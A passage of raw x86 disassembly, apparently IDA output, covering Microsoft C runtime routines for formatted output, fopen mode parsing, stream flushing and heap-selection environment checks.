XREF: sub_419E38+417j lea eax, [ebp+arg_8] push eax call sub_41A617 test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41A30C mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41A311 ; --------------------------------------------------------------------------- loc_41A30C: ; CODE XREF: sub_419E38+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41A311: ; CODE XREF: sub_419E38+4D2j mov [ebp+var_28], 1 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_41A31D: ; CODE XREF: sub_419E38+2F7j ; sub_419E38+40Ej or [ebp+var_4], 40h loc_41A321: ; CODE XREF: sub_419E38+432j mov [ebp+var_C], 0Ah loc_41A328: ; CODE XREF: sub_419E38+491j ; sub_419E38+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41A33A lea eax, [ebp+arg_8] push eax call sub_41A624 pop ecx jmp short loc_41A37B ; --------------------------------------------------------------------------- loc_41A33A: ; CODE XREF: sub_419E38+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41A361 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41A356 call sub_41A617 pop ecx movsx eax, ax loc_41A353: ; CODE XREF: sub_419E38+527j ; sub_419E38+539j cdq jmp short loc_41A37B ; --------------------------------------------------------------------------- loc_41A356: ; CODE XREF: sub_419E38+510j call sub_41A617 pop ecx movzx eax, ax jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A361: ; CODE XREF: sub_419E38+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41A373 call sub_41A617 pop ecx jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A373: ; CODE XREF: sub_419E38+531j call sub_41A617 pop ecx xor edx, edx loc_41A37B: ; CODE XREF: sub_419E38+500j ; sub_419E38+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41A39C test edx, edx jg short loc_41A39C jl short loc_41A38B test eax, eax jnb short loc_41A39C loc_41A38B: ; CODE XREF: sub_419E38+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41A3A0 ; --------------------------------------------------------------------------- loc_41A39C: ; CODE XREF: sub_419E38+547j ; sub_419E38+54Bj ... mov esi, eax mov edi, edx loc_41A3A0: ; CODE XREF: sub_419E38+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41A3A9 and edi, 0 loc_41A3A9: ; CODE XREF: sub_419E38+56Cj cmp [ebp+var_10], 0 jge short loc_41A3B8 mov [ebp+var_10], 1 jmp short loc_41A3BC ; --------------------------------------------------------------------------- loc_41A3B8: ; CODE XREF: sub_419E38+575j and [ebp+var_4], 0FFFFFFF7h loc_41A3BC: ; CODE XREF: sub_419E38+57Ej mov eax, esi or eax, edi jnz short loc_41A3C6 and [ebp+var_1C], 0 loc_41A3C6: ; CODE XREF: sub_419E38+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41A3CC: ; CODE XREF: sub_419E38+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41A3DC mov eax, esi or eax, edi jz short loc_41A417 loc_41A3DC: ; CODE XREF: sub_419E38+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_4191D0 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_419250 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41A40D add ebx, [ebp+var_2C] loc_41A40D: ; CODE XREF: sub_419E38+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41A3CC ; --------------------------------------------------------------------------- loc_41A417: ; CODE XREF: sub_419E38+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41A442 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41A435 test eax, eax jnz short loc_41A442 loc_41A435: ; CODE XREF: sub_419E38+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41A43F: ; CODE XREF: sub_419E38+35Fj ; sub_419E38+406j ... mov [ebp+var_C], eax loc_41A442: ; CODE XREF: sub_419E38+21Bj ; sub_419E38+2FDj ... cmp [ebp+var_28], 0 jnz loc_41A540 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41A47A test bh, 1 jz short loc_41A45F mov [ebp+var_16], 2Dh jmp short loc_41A473 ; --------------------------------------------------------------------------- loc_41A45F: ; CODE XREF: sub_419E38+61Fj test bl, 1 jz short loc_41A46A mov [ebp+var_16], 2Bh jmp short loc_41A473 ; --------------------------------------------------------------------------- loc_41A46A: ; CODE XREF: sub_419E38+62Aj test bl, 2 jz short loc_41A47A mov [ebp+var_16], 20h loc_41A473: ; CODE XREF: sub_419E38+625j ; sub_419E38+630j mov [ebp+var_1C], 1 loc_41A47A: ; CODE XREF: sub_419E38+61Aj ; sub_419E38+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41A49A lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41A5AE add esp, 10h loc_41A49A: ; CODE XREF: sub_419E38+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41A5DF add esp, 10h test bl, 8 jz short loc_41A4CC test bl, 4 jnz short loc_41A4CC lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41A5AE add esp, 10h loc_41A4CC: ; CODE XREF: sub_419E38+67Bj ; sub_419E38+680j cmp [ebp+var_24], 0 jz short loc_41A513 cmp [ebp+var_C], 0 jle short loc_41A513 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41A4E1: ; CODE XREF: sub_419E38+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_41FAFB pop ecx test eax, eax pop ecx jle short loc_41A528 lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41A5DF add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41A4E1 jmp short loc_41A528 ; --------------------------------------------------------------------------- loc_41A513: ; CODE XREF: sub_419E38+698j ; sub_419E38+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41A5DF add esp, 10h loc_41A528: ; CODE XREF: sub_419E38+6BCj ; sub_419E38+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41A540 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41A5AE add esp, 10h loc_41A540: ; CODE XREF: sub_419E38+68j ; sub_419E38+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_419E64 loc_41A551: ; CODE XREF: sub_419E38+1Fj ; sub_419E38+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_419E38 endp ; --------------------------------------------------------------------------- off_41A559 dd offset loc_419FD7 ; DATA XREF: sub_419E38+6Er dd offset loc_419EAD ; jump table for switch statement dd offset loc_419EC8 dd offset loc_419F14 dd offset loc_419F4B dd offset loc_419F53 dd offset loc_419F88 dd offset loc_41A01B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A579 proc near ; CODE XREF: sub_419E38+1BDp ; sub_419E38+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41A592 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41A59D ; --------------------------------------------------------------------------- loc_41A592: ; CODE XREF: sub_41A579+9j push ecx push [ebp+arg_0] call sub_419D23 pop ecx pop ecx loc_41A59D: ; CODE XREF: sub_41A579+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41A5AA or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41A5AA: ; CODE XREF: sub_41A579+2Aj inc dword ptr [eax] pop ebp retn sub_41A579 endp ; =============== S U B R O U T I N E ======================================= sub_41A5AE proc near ; CODE XREF: sub_419E38+65Ap ; sub_419E38+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41A5DC mov esi, [esp+8+arg_C] loc_41A5BF: ; CODE XREF: sub_41A5AE+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41A579 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41A5DC mov eax, edi dec edi test eax, eax jg short loc_41A5BF loc_41A5DC: ; CODE XREF: sub_41A5AE+Bj ; sub_41A5AE+25j pop edi pop esi retn sub_41A5AE endp ; =============== S U B R O U T I N E ======================================= sub_41A5DF proc near ; CODE XREF: sub_419E38+670p ; sub_419E38+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41A613 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41A5F5: ; CODE XREF: sub_41A5DF+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41A579 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41A613 mov eax, ebx dec ebx test eax, eax jg short loc_41A5F5 loc_41A613: ; CODE XREF: sub_41A5DF+Cj ; sub_41A5DF+2Bj pop edi pop esi pop ebx retn sub_41A5DF endp ; =============== S U B R O U T I N E ======================================= sub_41A617 proc near ; CODE XREF: sub_419E38+E5p ; sub_419E38+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41A617 endp ; =============== S U B R O U T I N E ======================================= sub_41A624 proc near ; CODE XREF: sub_419E38+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41A624 endp ; =============== S U B R O U T I N E ======================================= sub_41A634 proc near ; CODE XREF: sub_419E38+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41A634 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A642 proc near ; CODE XREF: sub_417794+17p ; sub_417794+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41A660 mov ecx, off_433C70 movzx eax, word ptr [ecx+eax*2] jmp short loc_41A6B2 ; --------------------------------------------------------------------------- loc_41A660: ; CODE XREF: sub_41A642+10j mov ecx, eax push esi mov esi, off_433C70 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41A685 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41A68E ; --------------------------------------------------------------------------- loc_41A685: ; CODE XREF: sub_41A642+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41A68E: ; CODE XREF: sub_41A642+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41FB63 add esp, 1Ch test eax, eax jnz short loc_41A6AE leave retn ; --------------------------------------------------------------------------- loc_41A6AE: ; CODE XREF: sub_41A642+68j movzx eax, word ptr [ebp+arg_0+2] loc_41A6B2: ; CODE XREF: sub_41A642+1Cj and eax, [ebp+arg_4] leave retn sub_41A642 endp ; =============== S U B R O U T I N E ======================================= sub_41A6B7 proc near ; CODE XREF: sub_417900+2Ap ; sub_41FEC6+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4CEDE0 jnb loc_41A751 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4CECE0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41A751 push edi call sub_41FE32 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A730 cmp edi, 1 jz short loc_41A6FE cmp edi, 2 jnz short loc_41A714 loc_41A6FE: ; CODE XREF: sub_41A6B7+40j push 2 call sub_41FE32 push 1 mov ebp, eax call sub_41FE32 pop ecx cmp eax, ebp pop ecx jz short loc_41A730 loc_41A714: ; CODE XREF: sub_41A6B7+45j push edi call sub_41FE32 pop ecx push eax call near ptr 265089Dh nop test eax, eax jnz short loc_41A730 nop call near ptr 26702AAh mov ebp, eax jmp short loc_41A732 ; --------------------------------------------------------------------------- loc_41A730: ; CODE XREF: sub_41A6B7+3Bj ; sub_41A6B7+5Bj ... xor ebp, ebp loc_41A732: ; CODE XREF: sub_41A6B7+77j push edi call sub_41FDB8 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41A74D push ebp call sub_41EF44 pop ecx jmp short loc_41A762 ; --------------------------------------------------------------------------- loc_41A74D: ; CODE XREF: sub_41A6B7+8Bj xor eax, eax jmp short loc_41A765 ; --------------------------------------------------------------------------- loc_41A751: ; CODE XREF: sub_41A6B7+Ej ; sub_41A6B7+2Fj and dword_4CD9B8, 0 mov dword_4CD9B4, 9 loc_41A762: ; CODE XREF: sub_41A6B7+94j or eax, 0FFFFFFFFh loc_41A765: ; CODE XREF: sub_41A6B7+98j pop edi pop esi pop ebp pop ebx retn sub_41A6B7 endp ; =============== S U B R O U T I N E ======================================= sub_41A76A proc near ; CODE XREF: sub_417900+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41A793 test al, 8 jz short loc_41A793 push dword ptr [esi+8] call sub_417C3B and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41A793: ; CODE XREF: sub_41A76A+Aj ; sub_41A76A+Ej pop esi retn sub_41A76A endp ; =============== S U B R O U T I N E ======================================= sub_41A795 proc near ; CODE XREF: sub_41A835+2Dp ; sub_41A835+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41A7A7 push esi call sub_41A835 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A7A7: ; CODE XREF: sub_41A795+7j push esi call sub_41A7D0 test eax, eax pop ecx jz short loc_41A7B7 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41A7B7: ; CODE XREF: sub_41A795+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41A7CC push dword ptr [esi+10h] call sub_41FE6F neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41A7CC: ; CODE XREF: sub_41A795+26j xor eax, eax pop esi retn sub_41A795 endp ; =============== S U B R O U T I N E ======================================= sub_41A7D0 proc near ; CODE XREF: sub_417900+1Ap ; sub_418D0E+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41A81D test ax, 108h jz short loc_41A81D mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41A81D push edi push eax push dword ptr [esi+10h] call sub_41ED97 add esp, 0Ch cmp eax, edi jnz short loc_41A816 mov eax, [esi+0Ch] test al, 80h jz short loc_41A81D and al, 0FDh mov [esi+0Ch], eax jmp short loc_41A81D ; --------------------------------------------------------------------------- loc_41A816: ; CODE XREF: sub_41A7D0+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41A81D: ; CODE XREF: sub_41A7D0+14j ; sub_41A7D0+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41A7D0 endp ; =============== S U B R O U T I N E ======================================= sub_41A82C proc near ; CODE XREF: sub_41FAE7p push 1 call sub_41A835 pop ecx retn sub_41A82C endp ; =============== S U B R O U T I N E ======================================= sub_41A835 proc near ; CODE XREF: sub_41A795+Ap ; sub_41A82C+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4CECC0, esi jle short loc_41A893 loc_41A846: ; CODE XREF: sub_41A835+5Cj mov eax, dword_4CDCB0 mov eax, [eax+esi*4] test eax, eax jz short loc_41A88A mov ecx, [eax+0Ch] test cl, 83h jz short loc_41A88A cmp [esp+0Ch+arg_0], 1 jnz short loc_41A870 push eax call sub_41A795 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A88A inc ebx jmp short loc_41A88A ; --------------------------------------------------------------------------- loc_41A870: ; CODE XREF: sub_41A835+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41A88A test cl, 2 jz short loc_41A88A push eax call sub_41A795 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41A88A or edi, eax loc_41A88A: ; CODE XREF: sub_41A835+1Bj ; sub_41A835+23j ... inc esi cmp esi, dword_4CECC0 jl short loc_41A846 loc_41A893: ; CODE XREF: sub_41A835+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41A89E mov eax, edi loc_41A89E: ; CODE XREF: sub_41A835+65j pop edi pop esi pop ebx retn sub_41A835 endp ; =============== S U B R O U T I N E ======================================= sub_41A8A2 proc near ; CODE XREF: sub_417956+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41FA1C test eax, eax pop ecx jz short loc_41A92B cmp esi, offset dword_4363A8 jnz short loc_41A8C0 xor eax, eax jmp short loc_41A8CB ; --------------------------------------------------------------------------- loc_41A8C0: ; CODE XREF: sub_41A8A2+18j cmp esi, offset dword_4363C8 jnz short loc_41A92B push 1 pop eax loc_41A8CB: ; CODE XREF: sub_41A8A2+1Cj inc dword_4CDB78 test word ptr [esi+0Ch], 10Ch jnz short loc_41A92B cmp dword_4CDA0C[eax*4], 0 push ebx push edi lea edi, ds:4CDA0Ch[eax*4] mov ebx, 1000h jnz short loc_41A911 push ebx call sub_417B89 test eax, eax pop ecx mov [edi], eax jnz short loc_41A911 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_41A91E ; --------------------------------------------------------------------------- loc_41A911: ; CODE XREF: sub_41A8A2+4Dj ; sub_41A8A2+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_41A91E: ; CODE XREF: sub_41A8A2+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_41A92B: ; CODE XREF: sub_41A8A2+10j ; sub_41A8A2+24j ... xor eax, eax pop esi retn sub_41A8A2 endp ; =============== S U B R O U T I N E ======================================= sub_41A92F proc near ; CODE XREF: sub_417956+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_41A959 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41A96A push esi call sub_41A7D0 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A959: ; CODE XREF: sub_41A92F+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_41A96A push eax call sub_41A7D0 pop ecx loc_41A96A: ; CODE XREF: sub_41A92F+10j ; sub_41A92F+32j pop esi retn sub_41A92F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A96C proc near ; CODE XREF: sub_417988+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4CDB80 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41A9A5 cmp al, 72h jz short loc_41A99E cmp al, 77h jnz loc_41AAB9 mov ecx, 301h jmp short loc_41A9AA ; --------------------------------------------------------------------------- loc_41A99E: ; CODE XREF: sub_41A96C+21j xor ecx, ecx or esi, 1 jmp short loc_41A9AD ; --------------------------------------------------------------------------- loc_41A9A5: ; CODE XREF: sub_41A96C+1Dj mov ecx, 109h loc_41A9AA: ; CODE XREF: sub_41A96C+30j or esi, 2 loc_41A9AD: ; CODE XREF: sub_41A96C+37j push 1 pop edx loc_41A9B0: ; CODE XREF: sub_41A96C+8Bj ; sub_41A96C+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41AA9F cmp edx, ebx jz loc_41AA9F movsx eax, al cmp eax, 54h jg short loc_41AA3E jz short loc_41AA2E sub eax, 2Bh jz short loc_41AA18 sub eax, 19h jz short loc_41AA0E sub eax, 0Eh jz short loc_41A9F9 dec eax jnz loc_41AA90 cmp [ebp+var_4], ebx jnz loc_41AA90 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41A9F9: ; CODE XREF: sub_41A96C+6Fj cmp [ebp+var_4], ebx jnz loc_41AA90 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA0E: ; CODE XREF: sub_41A96C+6Aj test cl, 40h jnz short loc_41AA90 or ecx, 40h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA18: ; CODE XREF: sub_41A96C+65j test cl, 2 jnz short loc_41AA90 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA2E: ; CODE XREF: sub_41A96C+60j mov eax, 1000h test ecx, eax jnz short loc_41AA90 or ecx, eax jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA3E: ; CODE XREF: sub_41A96C+5Ej sub eax, 62h jz short loc_41AA8B dec eax jz short loc_41AA74 sub eax, 0Bh jz short loc_41AA5D sub eax, 6 jnz short loc_41AA90 test ch, 0C0h jnz short loc_41AA90 or ch, 40h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA5D: ; CODE XREF: sub_41A96C+DDj cmp [ebp+var_8], ebx jnz short loc_41AA90 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA74: ; CODE XREF: sub_41A96C+D8j cmp [ebp+var_8], ebx jnz short loc_41AA90 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA8B: ; CODE XREF: sub_41A96C+D5j test ch, 0C0h jz short loc_41AA97 loc_41AA90: ; CODE XREF: sub_41A96C+72j ; sub_41A96C+7Bj ... xor edx, edx jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA97: ; CODE XREF: sub_41A96C+122j or ch, 80h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA9F: ; CODE XREF: sub_41A96C+4Aj ; sub_41A96C+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41FEC6 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41AABD loc_41AAB9: ; CODE XREF: sub_41A96C+25j xor eax, eax jmp short loc_41AAD7 ; --------------------------------------------------------------------------- loc_41AABD: ; CODE XREF: sub_41A96C+14Bj mov eax, [ebp+arg_C] inc dword_4CDB78 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41AAD7: ; CODE XREF: sub_41A96C+14Fj pop edi pop esi pop ebx leave retn sub_41A96C endp ; =============== S U B R O U T I N E ======================================= sub_41AADC proc near ; CODE XREF: sub_417988p mov edx, dword_4CECC0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41AB4D mov ebx, dword_4CDCB0 mov edi, ebx loc_41AAF8: ; CODE XREF: sub_41AADC+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41AB13 test byte ptr [ecx+0Ch], 83h jz short loc_41AB0E inc eax add edi, 4 cmp eax, edx jl short loc_41AAF8 jmp short loc_41AB4D ; --------------------------------------------------------------------------- loc_41AB0E: ; CODE XREF: sub_41AADC+26j mov esi, [ebx+eax*4] jmp short loc_41AB37 ; --------------------------------------------------------------------------- loc_41AB13: ; CODE XREF: sub_41AADC+20j mov edi, eax push 20h shl edi, 2 call sub_417B89 pop ecx mov ecx, dword_4CDCB0 mov [edi+ecx], eax mov eax, dword_4CDCB0 mov edi, [edi+eax] cmp edi, ebp jz short loc_41AB4D mov esi, edi loc_41AB37: ; CODE XREF: sub_41AADC+35j cmp esi, ebp jz short loc_41AB4D or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41AB4D: ; CODE XREF: sub_41AADC+12j ; sub_41AADC+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41AADC endp ; =============== S U B R O U T I N E ======================================= sub_41AB54 proc near ; CODE XREF: sub_417B9B+1Fp ; sub_41944F+126p ... arg_0 = dword ptr 4 mov eax, dword_4CDA18 test eax, eax jz short loc_41AB6C push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41AB6C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41AB6C: ; CODE XREF: sub_41AB54+7j ; sub_41AB54+12j xor eax, eax retn sub_41AB54 endp ; =============== S U B R O U T I N E ======================================= sub_41AB6F proc near ; CODE XREF: ___:0041ACD2p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 2740B3Ch cmp word ptr [eax], 5A4Dh jnz short loc_41AB9A mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41AB9A add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41AB9A: ; CODE XREF: sub_41AB6F+15j ; sub_41AB6F+1Cj pop esi retn sub_41AB6F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_417B30 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h nop call near ptr 27C0000h test eax, eax jz short loc_41ABDF cmp dword ptr [ebp-88h], 2 jnz short loc_41ABDF cmp dword ptr [ebp-94h], 5 jb short loc_41ABDF push 1 pop eax jmp loc_41ACE1 ; --------------------------------------------------------------------------- loc_41ABDF: ; CODE XREF: ___:0041ABC3j ; ___:0041ABCCj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call near ptr 2870000h nop test eax, eax jz loc_41ACCE xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41AC21 loc_41AC0E: ; CODE XREF: ___:0041AC1Fj mov al, [ecx] cmp al, 61h jl short loc_41AC1C cmp al, 7Ah jg short loc_41AC1C sub al, 20h mov [ecx], al loc_41AC1C: ; CODE XREF: ___:0041AC12j ; ___:0041AC16j inc ecx cmp [ecx], bl jnz short loc_41AC0E loc_41AC21: ; CODE XREF: ___:0041AC0Cj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_418DA0 add esp, 0Ch test eax, eax jnz short loc_41AC43 lea eax, [ebp-122Ch] jmp short loc_41AC8C ; --------------------------------------------------------------------------- loc_41AC43: ; CODE XREF: ___:0041AC39j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2680000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41AC77 loc_41AC64: ; CODE XREF: ___:0041AC75j mov al, [ecx] cmp al, 61h jl short loc_41AC72 cmp al, 7Ah jg short loc_41AC72 sub al, 20h mov [ecx], al loc_41AC72: ; CODE XREF: ___:0041AC68j ; ___:0041AC6Cj inc ecx cmp [ecx], bl jnz short loc_41AC64 loc_41AC77: ; CODE XREF: ___:0041AC62j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_417880 pop ecx pop ecx loc_41AC8C: ; CODE XREF: ___:0041AC41j cmp eax, ebx jz short loc_41ACCE push 2Ch push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx jz short loc_41ACCE inc eax mov ecx, eax cmp [eax], bl jz short loc_41ACB3 loc_41ACA5: ; CODE XREF: ___:0041ACB1j cmp byte ptr [ecx], 3Bh jnz short loc_41ACAE mov [ecx], bl jmp short loc_41ACAF ; --------------------------------------------------------------------------- loc_41ACAE: ; CODE XREF: ___:0041ACA8j inc ecx loc_41ACAF: ; CODE XREF: ___:0041ACACj cmp [ecx], bl jnz 